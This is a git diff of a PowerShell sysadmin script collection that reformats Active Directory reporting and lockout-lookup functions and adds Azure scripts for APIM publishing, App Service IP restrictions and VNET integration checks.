.SYNOPSIS + This function retrieve the directreports property from the IdentitySpecified. + Optionally you can specify the Recurse parameter to find all the indirect + users reporting to the specify account (Identity). + + .DESCRIPTION + This function retrieve the directreports property from the IdentitySpecified. + Optionally you can specify the Recurse parameter to find all the indirect + users reporting to the specify account (Identity). + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + + Blog post: https://lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html + + VERSION HISTORY + 1.0 2014/10/05 Initial Version + + .PARAMETER Identity + Specify the account to inspect + + .PARAMETER Recurse + Specify that you want to retrieve all the indirect users under the account + + .EXAMPLE + Get-ADDirectReports -Identity Test_director + Name SamAccountName Mail Manager ---- -------------- ---- ------- test_managerB test_managerB test_managerB@la... test_director test_managerA test_managerA test_managerA@la... test_director - - .EXAMPLE - Get-ADDirectReports -Identity Test_director -Recurse - + + .EXAMPLE + Get-ADDirectReports -Identity Test_director -Recurse + Name SamAccountName Mail Manager ---- -------------- ---- ------- test_managerB test_managerB test_managerB@la... test_director @@ -46,63 +45,52 @@ test_userB2 test_userB2 test_userB2@lazy... test_managerB test_managerA test_managerA test_managerA@la... test_director test_userA2 test_userA2 test_userA2@lazy... test_managerA test_userA1 test_userA1 test_userA1@lazy... test_managerA - - #> - [CmdletBinding()] - PARAM ( - [Parameter(Mandatory)] - [String[]]$Identity, - [Switch]$Recurse - ) - BEGIN - { - TRY - { - IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } - } - CATCH - { - Write-Verbose -Message "[BEGIN] Something wrong happened" - Write-Verbose -Message $Error[0].Exception.Message - } - } - PROCESS - { - foreach ($Account in $Identity) - { - TRY - { - IF ($PSBoundParameters['Recurse']) - { - # Get the DirectReports - Write-Verbose -Message "[PROCESS] Account: $Account (Recursive)" - Get-Aduser -identity $Account -Properties directreports | - ForEach-Object -Process { - $_.directreports | ForEach-Object -Process { - # Output the current object with the properties Name, SamAccountName, Mail and Manager - Get-ADUser -Identity $PSItem -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } - # Gather DirectReports under the current object and so on... - Get-ADDirectReports -Identity $PSItem -Recurse - } - } - }#IF($PSBoundParameters['Recurse']) - IF (-not ($PSBoundParameters['Recurse'])) - { - Write-Verbose -Message "[PROCESS] Account: $Account" - # Get the DirectReports - Get-Aduser -identity $Account -Properties directreports | Select-Object -ExpandProperty directReports | - Get-ADUser -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } - }#IF (-not($PSBoundParameters['Recurse'])) - }#TRY - CATCH - { - Write-Verbose -Message "[PROCESS] Something wrong happened" - Write-Verbose -Message $Error[0].Exception.Message - } - } - } - END - { - Remove-Module -Name ActiveDirectory -ErrorAction 'SilentlyContinue' -Verbose:$false | Out-Null - } + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + PARAM ( + [Parameter(Mandatory)] + [String[]]$Identity, + [Switch]$Recurse + ) + BEGIN { + TRY { + IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } + } + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } + PROCESS { + foreach ($Account in $Identity) { + TRY { + IF ($PSBoundParameters['Recurse']) { + # Get the DirectReports + Write-Verbose -Message "[PROCESS] Account: $Account (Recursive)" + Get-Aduser -identity $Account -Properties directreports | + ForEach-Object -Process { + $_.directreports | ForEach-Object -Process { + # Output the current object with the properties Name, SamAccountName, Mail and Manager + Get-ADUser -Identity $PSItem -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } + # Gather DirectReports under the current object and so on... + Get-ADDirectReports -Identity $PSItem -Recurse + } + } + }#IF($PSBoundParameters['Recurse']) + IF (-not ($PSBoundParameters['Recurse'])) { + Write-Verbose -Message "[PROCESS] Account: $Account" + # Get the DirectReports + Get-Aduser -identity $Account -Properties directreports | Select-Object -ExpandProperty directReports | + Get-ADUser -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } + }#IF (-not($PSBoundParameters['Recurse'])) + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + } +} +END { + Remove-Module -Name ActiveDirectory -ErrorAction 'SilentlyContinue' -Verbose:$false | Out-Null +} } diff --git a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 index fea973bd..105056c6 100644 --- a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 +++ b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 @@ -1,115 +1,106 @@ -Function Get-AccountLockedOut -{ - -<# +Function Get-AccountLockedOut { + + <# .SYNOPSIS - This function will find the device where the account get lockedout + This function will find the device where the account get lockedout .DESCRIPTION - This function will find the device where the account get lockedout. - It will query directly the PDC for this information - + This function will find the device where the account get lockedout. + It will query directly the PDC for this information + .PARAMETER DomainName - Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) + Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) .PARAMETER UserName - Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) + Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) .EXAMPLE - Get-AccountLockedOut -UserName * -StartTime (Get-Date).AddDays(-5) -Credential (Get-Credential) - - This will retrieve the all the users lockedout in the last 5 days using the credential specify by the user. - It might not retrieve the information very far in the past if the PDC logs are filling up very fast. - + Get-AccountLockedOut -UserName * -StartTime (Get-Date).AddDays(-5) -Credential (Get-Credential) + + This will retrieve the all the users lockedout in the last 5 days using the credential specify by the user. + It might not retrieve the information very far in the past if the PDC logs are filling up very fast. + .EXAMPLE - Get-AccountLockedOut -UserName "Francois-Xavier.cat" -StartTime (Get-Date).AddDays(-2) + Get-AccountLockedOut -UserName "Francois-Xavier.cat" -StartTime (Get-Date).AddDays(-2) +.LINK + https://github.com/lazywinadmin/PowerShell #> - - #Requires -Version 3.0 - [CmdletBinding()] - param ( - [string]$DomainName = $env:USERDOMAIN, - [Parameter()] - [ValidateNotNullorEmpty()] - [string]$UserName = '*', - [datetime]$StartTime = (Get-Date).AddDays(-1), - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - BEGIN - { - TRY - { + + #Requires -Version 3.0 + [CmdletBinding()] + param ( + [string]$DomainName = $env:USERDOMAIN, + [Parameter()] + [ValidateNotNullorEmpty()] + [string]$UserName = '*', + [datetime]$StartTime = (Get-Date).AddDays(-1), + [PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + BEGIN { + TRY { #Variables $TimeDifference = (Get-Date) - $StartTime - Write-Verbose -Message "[BEGIN] Looking for PDC..." - - function Get-PDCServer - { - <# - .SYNOPSIS - Retrieve the Domain Controller with the PDC Role in the domain - #> - PARAM ( - $Domain = $env:USERDOMAIN, - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - IF ($PSBoundParameters['Credential']) - { - - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( - (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList 'Domain', $Domain, $($Credential.UserName), $($Credential.GetNetworkCredential().password)) - ).PdcRoleOwner.name - }#Credentials - ELSE - { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( - (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)) - ).PdcRoleOwner.name - } - }#function Get-PDCServer - - Write-Verbose -Message "[BEGIN] PDC is $(Get-PDCServer)" - }#TRY - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - Write-Warning -Message $Error[0] - } - - }#BEGIN - PROCESS - { - TRY - { - # Define the parameters - $Splatting = @{ } - - # Add the credential to the splatting if specified - IF ($PSBoundParameters['Credential']) - { + Write-Verbose -Message "[BEGIN] Looking for PDC..." + + function Get-PDCServer { + <# + .SYNOPSIS + Retrieve the Domain Controller with the PDC Role in the domain + #> + PARAM ( + $Domain = $env:USERDOMAIN, + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + IF ($PSBoundParameters['Credential']) { + + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( + (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList 'Domain', $Domain, $($Credential.UserName), $($Credential.GetNetworkCredential().password)) + ).PdcRoleOwner.name + }#Credentials + ELSE { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( + (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)) + ).PdcRoleOwner.name + } + }#function Get-PDCServer + + Write-Verbose -Message "[BEGIN] PDC is $(Get-PDCServer)" + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + + }#BEGIN + PROCESS { + TRY { + # Define the parameters + $Splatting = @{ } + + # Add the credential to the splatting if specified + IF ($PSBoundParameters['Credential']) { Write-Verbose -Message "[PROCESS] Credential Specified" - $Splatting.Credential = $Credential - $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName -Credential $Credential) - } - ELSE - { - $Splatting.ComputerName =$(Get-PDCServer -Domain $DomainName) - } - - # Query the PDC + $Splatting.Credential = $Credential + $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName -Credential $Credential) + } + ELSE { + $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName) + } + + # Query the PDC Write-Verbose -Message "[PROCESS] Querying PDC for LockedOut Account in the last Days:$($TimeDifference.days) Hours: $($TimeDifference.Hours) Minutes: $($TimeDifference.Minutes) Seconds: $($TimeDifference.seconds)" - Invoke-Command @Splatting -ScriptBlock { - - # Query Security Logs - Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4740; StartTime = $Using:StartTime } | - Where-Object { $_.Properties[0].Value -like "$Using:UserName" } | - Select-Object -Property TimeCreated, - @{ Label = 'UserName'; Expression = { $_.Properties[0].Value } }, - @{ Label = 'ClientName'; Expression = { $_.Properties[1].Value } } - } | Select-Object -Property TimeCreated, UserName, ClientName - }#TRY - CATCH - { - - } - }#PROCESS + Invoke-Command @Splatting -ScriptBlock { + + # Query Security Logs + Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4740; StartTime = $Using:StartTime } | + Where-Object -FilterScript { $_.Properties[0].Value -like "$Using:UserName" } | + Select-Object -Property TimeCreated, + @{ Label = 'UserName'; Expression = { $_.Properties[0].Value } }, + @{ Label = 'ClientName'; Expression = { $_.Properties[1].Value } } + } | Select-Object -Property TimeCreated, UserName, ClientName + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + }#PROCESS } diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index a724a496..f780da60 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -1,262 +1,248 @@ -<# +<# .SYNOPSIS - Script to report expiring user account + Script to report expiring user account .DESCRIPTION - Script to report expiring user account + Script to report expiring user account .PARAMETER Days - Specifies the number of days to look up + Specifies the number of days to look up .PARAMETER SearchBase - Specifies the DistinguishedName + Specifies the DistinguishedName .PARAMETER EmailFrom - Specifies the email origin + Specifies the email origin .PARAMETER EmailTo - Specifies the email destination + Specifies the email destination .PARAMETER EmailSMTPServer - Specifies the SMTP Server to use + Specifies the SMTP Server to use .EXAMPLE - .\AD-USER-Report_Expiring_Users.ps1 -days 5 -EmailFrom "ScriptBox@lazywinadmin.com" -EmailSMTPServer smtp.lazywinadmin.com -EmailTo fxcat@lazywinadmin.com + .\AD-USER-Report_Expiring_Users.ps1 -days 5 -EmailFrom "ScriptBox@lazywinadmin.com" -EmailSMTPServer smtp.lazywinadmin.com -EmailTo fxcat@lazywinadmin.com .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - VERSION HISTORY - 1.0 2015/02/03 Initial Version - - TODO - Send-Mailmessage in begin - - + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + + VERSION HISTORY + 1.0 2015/02/03 Initial Version + + TODO + Send-Mailmessage in begin + + #> [CmdletBinding()] PARAM ( - [Alias("ExpirationDays")] - [Int]$Days = '10', - - [String]$SearchBase = "", - - [string]$EmailFrom = "ScriptServer@Contoso.com", - - [string]$EmailTo = "IT@Contoso.com", - - [String]$EmailSMTPServer = "smtp.contoso.com" + [Alias("ExpirationDays")] + [Int]$Days = '10', + + [String]$SearchBase = "", + + [string]$EmailFrom = "ScriptServer@Contoso.com", + + [string]$EmailTo = "IT@Contoso.com", + + [String]$EmailSMTPServer = "smtp.contoso.com" ) -BEGIN -{ - # Add Active Directory Module - - # Define Email Subject - [String]$EmailSubject = "PS Report-ActiveDirectory-Expiring Users (in the next $days days)" - [String]$NoteLine = "Generated from $($env:Computername.ToUpper()) on $(Get-Date -format 'yyyy/MM/dd HH:mm:ss')" - - # Functions helper - # Send from - Function Send-Email - { - <# - .SYNOPSIS - This function allows you to send email - .DESCRIPTION - This function allows you to send email - .EXAMPLE - Send-email ` - -EmailTo "fxcat@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -Username "Account" ` - -Password "SecretP@ssword" ` - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" - .NOTES - Francois-Xavier Cat - fxcat@lazywinadmin.com - www.lazywinadmin.com - @lazywinadm - - VERSION HISTORY - 1.0 2014/12/25 Initial Version - 1.1 2015/02/04 Adding some error handling and clean up the code a bit - Add Encoding, CC, BCC, BodyAsHTML - - TODO - -Add more Help/Example - -Add Support for classic Get-Credential - - #> - - [CmdletBinding()] - PARAM ( - [Parameter(Mandatory = $true)] - [Alias('To')] - [String]$EmailTo, - - [Parameter(Mandatory = $true)] - [Alias('From')] - [String]$EmailFrom, - - [String]$EmailCC, - - [String]$EmailBCC, - - [String]$Subject = "Email from PowerShell", - - [String]$Body = "Hello World", - - [Switch]$BodyIsHTML = $false, - - [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] - [System.Text.Encoding]$Encoding = "Default", - - [String]$Attachment, - - [Parameter(ParameterSetName = "Credential", Mandatory = $true)] - [String]$Username, - - [Parameter(ParameterSetName = "Credential", Mandatory = $true)] - [String]$Password, - - [Parameter(Mandatory = $true)] - [ValidateScript({ - # Verify the host is reachable - Test-Connection -ComputerName $_ -Count 1 -Quiet - })] - [string]$SMTPServer, - - [ValidateRange(1, 65535)] - [int]$Port, - - [Switch]$EnableSSL - )#PARAM - - PROCESS - { - TRY - { - # Create Mail Message Object - $SMTPMessage = New-Object System.Net.Mail.MailMessage - $SMTPMessage.From = $EmailFrom - $SMTPMessage.To = $EmailTo - $SMTPMessage.Body = $Body - $SMTPMessage.Subject = $Subject - $SMTPMessage.CC = $EmailCC - $SMTPMessage.Bcc = $EmailBCC - $SMTPMessage.IsBodyHtml = $BodyIsHtml - $SMTPMessage.BodyEncoding = $Encoding - $SMTPMessage.SubjectEncoding = $Encoding - - # Attachement Parameter - IF ($PSBoundParameters['attachment']) - { - $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) - $SMTPMessage.Attachments.Add($STMPattachment) - } - - # Create SMTP Client Object - $SMTPClient = New-Object Net.Mail.SmtpClient - $SMTPClient.Host = $SmtpServer - $SMTPClient.Port = $Port - - # SSL Parameter - IF ($PSBoundParameters['EnableSSL']) - { - $SMTPClient.EnableSsl = $true - } - - # Credential Paramenter - IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) - { - # Create Credential Object - $Credentials = New-Object -TypeName System.Net.NetworkCredential - $Credentials.UserName = $username.Split("@")[0] - $Credentials.Password = $Password - - # Add the credentials object to the SMTPClient obj - $SMTPClient.Credentials = $Credentials - } - - # Send the Email - $SMTPClient.Send($SMTPMessage) - - }#TRY - CATCH - { - Write-Warning -message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - }#Process - END - { - # Remove Variables - Remove-Variable -Name SMTPClient - Remove-Variable -Name Password - }#END - } #End Function Send-EMail - +BEGIN { + # Add Active Directory Module + + # Define Email Subject + [String]$EmailSubject = "PS Report-ActiveDirectory-Expiring Users (in the next $days days)" + [String]$NoteLine = "Generated from $($env:Computername.ToUpper()) on $(Get-Date -format 'yyyy/MM/dd HH:mm:ss')" + + # Functions helper + # Send from + Function Send-Email { + <# + .SYNOPSIS + This function allows you to send email + .DESCRIPTION + This function allows you to send email + .EXAMPLE + Send-email ` + -EmailTo "fxcat@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -Username "Account" ` + -Password "SecretP@ssword" ` + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" + .NOTES + Francois-Xavier Cat + fxcat@lazywinadmin.com + lazywinadmin.com + @lazywinadmin + + VERSION HISTORY + 1.0 2014/12/25 Initial Version + 1.1 2015/02/04 Adding some error handling and clean up the code a bit + Add Encoding, CC, BCC, BodyAsHTML + + TODO + -Add more Help/Example + -Add Support for classic Get-Credential + + #> + + [CmdletBinding()] + PARAM ( + [Parameter(Mandatory = $true)] + [Alias('To')] + [String]$EmailTo, + + [Parameter(Mandatory = $true)] + [Alias('From')] + [String]$EmailFrom, + + [String]$EmailCC, + + [String]$EmailBCC, + + [String]$Subject = "Email from PowerShell", + + [String]$Body = "Hello World", + + [Switch]$BodyIsHTML = $false, + + [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] + [System.Text.Encoding]$Encoding = "Default", + + [String]$Attachment, + + #[Parameter(ParameterSetName = "Credential", Mandatory = $true)] + #[String]$Username, + + #[Parameter(ParameterSetName = "Credential", Mandatory = $true)] + #[String]$Password, + + [pscredential]$Credential, + + [Parameter(Mandatory = $true)] + [ValidateScript( { + # Verify the host is reachable + Test-Connection -ComputerName $_ -Count 1 -Quiet + })] + [string]$SMTPServer, + + [ValidateRange(1, 65535)] + [int]$Port, + + [Switch]$EnableSSL + )#PARAM + + PROCESS { + TRY { + # Create Mail Message Object + $SMTPMessage = New-Object -TypeName System.Net.Mail.MailMessage + $SMTPMessage.From = $EmailFrom + $SMTPMessage.To = $EmailTo + $SMTPMessage.Body = $Body + $SMTPMessage.Subject = $Subject + $SMTPMessage.CC = $EmailCC + $SMTPMessage.Bcc = $EmailBCC + $SMTPMessage.IsBodyHtml = $BodyIsHtml + $SMTPMessage.BodyEncoding = $Encoding + $SMTPMessage.SubjectEncoding = $Encoding + + # Attachement Parameter + IF ($PSBoundParameters['attachment']) { + $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment -ArgumentList $attachment + $SMTPMessage.Attachments.Add($SMTPattachment) + } + + # Create SMTP Client Object + $SMTPClient = New-Object -TypeName Net.Mail.SmtpClient + $SMTPClient.Host = $SmtpServer + $SMTPClient.Port = $Port + + # SSL Parameter + IF ($PSBoundParameters['EnableSSL']) { + $SMTPClient.EnableSsl = $true + } + + # Credential Paramenter + #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) { + IF ($PSBoundParameters['Credential']) { + # Create Credential Object + #$Credential = New-Object -TypeName System.Net.NetworkCredential + #$Credential.UserName = $username.Split("@")[0] + #$Credential.Password = $Password + + # Add the credentials object to the SMTPClient obj + $SMTPClient.Credentials = $Credential + } + + # Send the Email + $SMTPClient.Send($SMTPMessage) + + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } + }#Process + END { + # Remove Variables + Remove-Variable -Name SMTPClient + Remove-Variable -Name Password + }#END + } #End Function Send-EMail + } -PROCESS -{ - TRY - { - $Accounts = Search-ADAccount -AccountExpiring -SearchBase $SearchBase -TimeSpan "$($days).00:00:00" | - Select-Object -Property AccountExpirationDate, Name, Samaccountname, @{ Label = "Manager"; E = { (Get-Aduser(Get-aduser $_ -property manager).manager).Name } }, DistinguishedName - - $Css = @" +PROCESS { + TRY { + $Accounts = Search-ADAccount -AccountExpiring -SearchBase $SearchBase -TimeSpan "$($days).00:00:00" | + Select-Object -Property AccountExpirationDate, Name, Samaccountname, @{ Label = "Manager"; E = { (Get-Aduser(Get-aduser $_ -property manager).manager).Name } }, DistinguishedName + + $Css = @" "@ - - $PreContent = "Active Directory - Expiring Users (next $days days)" - $PostContent = "

$NoteLine" - - - # Prepare Body - # If No account to report - IF (-not ($accounts)) - { - $body = "No user account expiring in the next $days days to report
$PostContent" - } - ELSE - { - $body = $Accounts | - ConvertTo-Html -head $Css -PostContent $PostContent -PreContent $PreContent - } - - # Sending email - Send-Email -SMTPServer $EmailSMTPServer -From $EmailFrom -To $Emailto -BodyIsHTML ` - -Subject $EmailSubject -Body $body - - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something happened" - Write-Warning -Message $Error[0].Exception.Message - } + + $PreContent = "Active Directory - Expiring Users (next $days days)" + $PostContent = "

$NoteLine" + + + # Prepare Body + # If No account to report + IF (-not ($accounts)) { + $body = "No user account expiring in the next $days days to report
$PostContent" + } + ELSE { + $body = $Accounts | + ConvertTo-Html -head $Css -PostContent $PostContent -PreContent $PreContent + } + + # Sending email + Send-Email -SMTPServer $EmailSMTPServer -From $EmailFrom -To $Emailto -BodyIsHTML ` + -Subject $EmailSubject -Body $body + + }#TRY + CATCH { + Throw $_ + } }#PROCESS -END -{ - +END { + } \ No newline at end of file diff --git a/AZURE-APIM-Publish_API_Definitions_Swagger/AZURE-APIM-Publish_API_Definitions_Swagger.ps1 b/AZURE-APIM-Publish_API_Definitions_Swagger/AZURE-APIM-Publish_API_Definitions_Swagger.ps1 new file mode 100644 index 00000000..f65d00db --- /dev/null +++ b/AZURE-APIM-Publish_API_Definitions_Swagger/AZURE-APIM-Publish_API_Definitions_Swagger.ps1 @@ -0,0 +1,53 @@ +<# +.SYNOPSIS +Script to publish API definitions to Azure APIM via OpenAPI Swagger URL. +.DESCRIPTION +Script to publish API definitions to Azure APIM via OpenAPI Swagger URL, with a healthcheck endpoint for liveness check. + +The script works for those who are using Swagger as a API documentation (see more https://swagger.io/) + +Please ensure that this script will run after web server has been updated accordingly. + +Please ensure that web server SSL certificate is trusted. + +.PARAMETER ApiId +Specify the ID of the API to publish. + +.PARAMETER ApiPath +Specify a web API path as the last part of the API's public URL. + +.PARAMETER SwaggerUrl +Specify the Swagger OpenAPI JSON or YAML file (e.g. https://example.com/v2/api-docs) + +.PARAMETER ResourceGroup +Specify the Resource Group of desired APIM. + +.PARAMETER ApimServiceName +Specify APIM name. + +.EXAMPLE +/AZURE-APIM-Publish_API_Definitions_Swagger.ps1 -ResourceGroup "MyRG" -ApiId "MyApp" -ApiPath "swagger" -SwaggerUrl "https://example.com/v2/api-docs" -ApimServiceName "MyApim" + +.NOTES + +VERSION HISTORY +1.0 | 2020/10/113 | Raksit Mantanacharu (raksit.m@ku.th) + initial version +#> +[cmdletBinding()] +Param( + [Parameter(Mandatory = $true)] + [string] $ApiId, + [Parameter(Mandatory = $true)] + [string] $ApiPath, + [Parameter(Mandatory = $true)] + [string] $SwaggerUrl, + [Parameter(Mandatory = $true)] + [string] $ResourceGroup, + [Parameter(Mandatory = $true)] + [string] $ApimServiceName, +) +$ApiMgmtContext = New-AzApiManagementContext -ResourceGroupName $ResourceGroup -ServiceName $ApimServiceName +Import-AzApiManagementApi -Context $ApiMgmtContext -SpecificationFormat "Swagger" -SpecificationUrl $SwaggerUrl -Path $ApiPath -ApiId $ApiId + +New-AzApiManagementOperation -Context $ApiMgmtContext -ApiId $ApiId -OperationId "getHealthUsingGET" -Name "health probe" -Method "GET" -UrlTemplate "/healthz/liveness" -Description "Use this operation to get liveness status" diff --git a/AZURE-AppService-Update_RestrictionIP/AppService-Update_RestrictionIP.ps1 b/AZURE-AppService-Update_RestrictionIP/AppService-Update_RestrictionIP.ps1 new file mode 100644 index 00000000..4d8f7015 --- /dev/null +++ b/AZURE-AppService-Update_RestrictionIP/AppService-Update_RestrictionIP.ps1 @@ -0,0 +1,118 @@ +<# +.SYNOPSIS +Script to update or overwrite App Service IP Rules Restriction based on a CSV file provided +.DESCRIPTION +Script to update or overwrite App Service IP Rules Restriction based on a CSV file provided + +The script only validate the IPAddress property to defined if an IP Rule is already present. +It does not check the other properties such as Priority, Name, Description, ... + +The script will output the IPRules present on the App Service in the output. + +.PARAMETER SubscriptionId +Specify the SubscriptionID + +.PARAMETER ResourceGroupName +Specify the Resource Group Name where the App Service is located + +.PARAMETER AppServiceName +Specify the App Service Name + +.PARAMETER Path +Specify the Path to the CSV File. + +.PARAMETER Overwrite +Specify if you want to overwrite all the ip rules + +.EXAMPLE +/AppService-Update_RestrictionIP.ps1 -ResourceGroupName "MyRG" -AppServiceName "MyApp" -SubscriptionId '' -Path ./source.csv -verbose + +Append ip rules not already present. The script only checks if the IP/CIDR is present, it does not check the other properties + +.EXAMPLE +/AppService-Update_RestrictionIP.ps1 -ResourceGroupName "MyRG" -AppServiceName "MyApp" -SubscriptionId '' -Path ./source.csv -overwrite -verbose + +Erase all existing rules and append the one specified in the CSV file + +.NOTES + +VERSION HISTORY +1.0 | 2020/06/11 | Francois-Xavier Cat (lazywinadmin.com) + initial version +#> +[cmdletBinding()] +Param( + [Parameter(Mandatory = $true)] + [string] $ResourceGroupName, + [Parameter(Mandatory = $true)] + [string] $AppServiceName, + [Parameter(Mandatory = $true)] + [string] $SubscriptionId, + [Parameter(Mandatory = $true)] + [string] $Path, + [Switch]$Overwrite +) +try { + $ErrorActionPreference = "Stop" + + # Load dependencies + Write-Verbose -Message "Loading modules..." + Import-Module Az.Accounts -verbose:$false + Import-Module Az.Resources -verbose:$false + + # Load CSV + Write-Verbose -Message "Loading CSV File '$Path'..." + $FileContent = Import-Csv -path $Path + if($null -eq $FileContent){ + Write-Error -Message "CSV file is empty or not able to import" + } + + # Establish connection to Azure if not already connected + Write-Verbose -Message "Checking connection to Azure..." + $GetContext = Get-AzContext + if($Null -eq $GetContext){ + Connect-AzAccount + } + + # Set Context + if($GetContext.Subscription.id -ne $SubscriptionId){ + Write-Verbose -Message "Switching context to subscription '$SubscriptionId'..." + Set-AzContext -Subscription $SubscriptionId + }else{ + Write-Verbose -Message "Context already on subscription '$SubscriptionId'" + } + + # API Version + Write-Verbose -Message "Retrieving API Version..." + $APIVersion = ((Get-AzResourceProvider -ProviderNamespace Microsoft.Web).ResourceTypes | Where-Object ResourceTypeName -eq sites).ApiVersions[0] + + # Get App Service + Write-Verbose -Message "Retrieving App Service information..." + $WebAppConfig = Get-AzResource -ResourceName $AppServiceName -ResourceType Microsoft.Web/sites/config -ResourceGroupName $ResourceGroupName -ApiVersion $APIVersion + + if($Overwrite){ + Write-Verbose -Message "Erasing all the current IP Rules (not applied yet)" + $WebAppConfig.Properties.ipSecurityRestrictions = @() + $Changes = $true + } + + foreach ($NewIpRule in $FileContent) { + if($NewIpRule.IPAddress -notin $WebAppConfig.Properties.ipSecurityRestrictions.IPAddress){ + Write-Verbose -Message "Adding $($NewIPRule.IPAddress) (not applied yet) ..." + $WebAppConfig.Properties.ipSecurityRestrictions += $NewIpRule + + $Changes = $true + } + else{Write-Verbose -Message "Skip $($NewIPRule.IPAddress). IPAddress already in the rules."} + } + + if($Changes){ + Write-Verbose -Message "Applying changes..." + (Set-AzResource -ResourceId $WebAppConfig.ResourceId -Properties $WebAppConfig.Properties -ApiVersion $APIVersion).Properties.ipSecurityRestrictions + }else{ + Write-Verbose -Message "No Change to apply." + $WebAppConfig.Properties.ipSecurityRestrictions + } +}catch{ + Throw $_ +} \ No newline at end of file diff --git a/AZURE-AppService-Update_RestrictionIP/source.csv b/AZURE-AppService-Update_RestrictionIP/source.csv new file mode 100644 index 00000000..0bb9a0e9 --- /dev/null +++ b/AZURE-AppService-Update_RestrictionIP/source.csv @@ -0,0 +1,3 @@ +"ipAddress","action","priority","name","description","tag" +"120.3.2.0/20","Allow","100","test ip1","test ip1","Default" +"120.3.3.0/20","Allow","100","test ip4","test ip4","Default" \ No newline at end of file diff --git a/AZURE-AppService-WebApps_without_VNETIntegration/WebApps_without_VNETIntegration.ps1 b/AZURE-AppService-WebApps_without_VNETIntegration/WebApps_without_VNETIntegration.ps1 new file mode 100644 index 00000000..c436fb56 --- /dev/null +++ b/AZURE-AppService-WebApps_without_VNETIntegration/WebApps_without_VNETIntegration.ps1 @@ -0,0 +1,100 @@ +<# +.SYNOPSIS +Retrieve WebApps without VNET Integration in the current Tenant + +.DESCRIPTION +This script will do the following steps: + +-Using Resource Graph API: Retrieve WebApp accross the tenant +-Using Management API: Check if they have a VNET Integration present +-If Not, Output the WebApp information +.EXAMPLE + ./WebApps_without_VNETIntegration.ps1 + + Output the Apps using a App Service Plan without VNET Integration +.EXAMPLE + ./WebApps_without_VNETIntegration.ps1| + Export-Csv report.csv + + Send the output to an excel report +.LINK + https://github.com/lazywinadmin/PowerShell +.NOTES + +# TODO +-Support for retries +-Use Parallel call if v7.0+ + +# RESOURCES +* List VnetIntegration in a particular RG for a webapp +az webapp vnet-integration list +https://docs.microsoft.com/en-us/cli/azure/webapp/vnet-integration?view=azure-cli-latest +* WebApp integration with VNET +https://docs.microsoft.com/en-us/azure/app-service/web-sites-integrate-with-vnet#automation +* Creating VNET Integration +https://stackoverflow.com/questions/59976040/how-do-you-associate-an-azure-web-app-with-a-vnet-using-powershell-az + +#> 